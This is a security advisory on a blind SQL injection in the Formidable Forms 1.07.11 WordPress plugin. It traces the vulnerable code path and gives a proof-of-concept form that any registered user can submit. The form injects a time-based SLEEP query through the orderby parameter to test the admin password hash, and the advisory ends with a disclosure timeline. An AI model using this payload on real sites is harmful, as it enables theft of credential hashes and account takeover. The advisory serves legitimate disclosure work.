26-01-2016 / Vulnerabilities

Formidable Forms 1.07.11 Blind SQL Injection

FrmFormsController::route is accessible for every registered user because of:

File: formidable\classes\controllers\FrmFormsController.php

add_action('wp_ajax_frm_save_form', 'FrmFormsController::route');

Using $_REQUEST['frm_action'] we can display list_form():

File: formidable\classes\controllers\FrmFormsController.php

public static function route(){
	$action = isset($_REQUEST['frm_action']) ? 'frm_action' : 'action';
	$vars = false;
	if(isset($_POST['frm_compact_fields'])){
	    if ( !current_user_can('frm_edit_forms') && !current_user_can('administrator') ) {
	        global $frm_settings;
	        wp_die($frm_settings->admin_permission);
	    }
	    $json_vars = htmlspecialchars_decode(nl2br(stripslashes(str_replace('"', '\\\"', $_POST['frm_compact_fields'] ))));
	    $json_vars = json_decode($json_vars, true);
	    if ( empty($json_vars) ) {
	        // json decoding failed so we should return an error message
	        $action = FrmAppHelper::get_param($action);
	        if ( 'edit' == $action ) {
	            $action = 'update';
	        }
	        add_filter('frm_validate_form', array(__CLASS__, 'json_error'));
	    } else {
	        $vars = FrmAppHelper::json_to_array($json_vars);
	        $action = $vars[$action];
	    }
	}else{
	    $action = FrmAppHelper::get_param($action);
	}
	if($action == 'new' or $action == 'new-selection')
	    return self::new_form($vars);
	else if($action == 'create')
	    return self::create($vars);
	else if($action == 'edit')
	    return self::edit($vars);
	else if($action == 'update')
	    return self::update($vars);
	else if($action == 'duplicate')
	    return self::duplicate();
	else if($action == 'destroy')
	    return self::destroy();
	else if($action == 'list-form')
	    return self::list_form(); 
}

list_form() uses display_forms_list() which require FrmListHelper.php:

File: formidable\classes\controllers\FrmFormsController.php

require( FrmAppHelper::plugin_path() .'/classes/helpers/FrmListHelper.php' );
$args = array('table_name' => $wpdb->prefix .'frm_forms', 'params' => $params);
$args['page_name'] = $params['template'] ? '-template' : '';
$wp_list_table = new FrmListHelper($args);
unset($args);
$pagenum = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();

Inside prepare_items() we can pass $_REQUEST['orderby'] which is not escaped and used in FrmForm::getAll:

File: formidable\classes\helpers\FrmListHelper.php

$orderby = ( isset( $_REQUEST['orderby'] ) ) ? $_REQUEST['orderby'] : $default_orderby;
$frm_form = new FrmForm();
$this->items = $frm_form->getAll($s_query, " ORDER BY $orderby $order", " LIMIT $start, $per_page", true, false);

Because we control query after ORDER BY we don't have clean SQL INJECTION, but blind one can be used.

File: formidable\classes\models\FrmForm.php

function getAll( $where = array(), $order_by = '', $limit = '' ){
    global $wpdb, $frmdb;
    if(is_numeric($limit))
        $limit = " LIMIT {$limit}";
    $query = 'SELECT * FROM ' . $wpdb->prefix .'frm_forms' . FrmAppHelper::prepend_and_or_where(' WHERE ', $where) . $order_by . $limit;
    if ($limit == ' LIMIT 1' || $limit == 1){
        if(is_array($where))
            $results = $frmdb->get_one_record($wpdb->prefix .'frm_forms', $where, '*', $order_by);
        else
            $results = $wpdb->get_row($query);
        if($results){
            wp_cache_set($results->id, $results, 'frm_form');
            $results->options = maybe_unserialize($results->options);
        }
    }else{
        if ( is_array($where) && !empty($where) ) {
            $results = $frmdb->get_records($wpdb->prefix .'frm_forms', $where, $order_by, $limit);
        } else {
            $results = $wpdb->get_results($query);
        }
        if($results){
            foreach($results as $result){
                wp_cache_set($result->id, $result, 'frm_form');
                $result->options = maybe_unserialize($result->options);
            }
        }
    }
    return stripslashes_deep($results);
}

Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-instalation/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="frm_save_form" >
    <input type="hidden" name="frm_action" value="list-form">
    <input type="hidden" name="start" value="1">
    Blind SQL: <input type="text" name="orderby" value="id, (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
    <input type="submit" value="Hack!">
</form>

This SQL will check if first password character user ID=1 is "$".

If yes, it will sleep 5 seconds.

Timeline

  • 07-11-2014: Discovered
  • 07-11-2014: Vendor notified
  • 04-04-2015: Version 2.0 released, issue resolved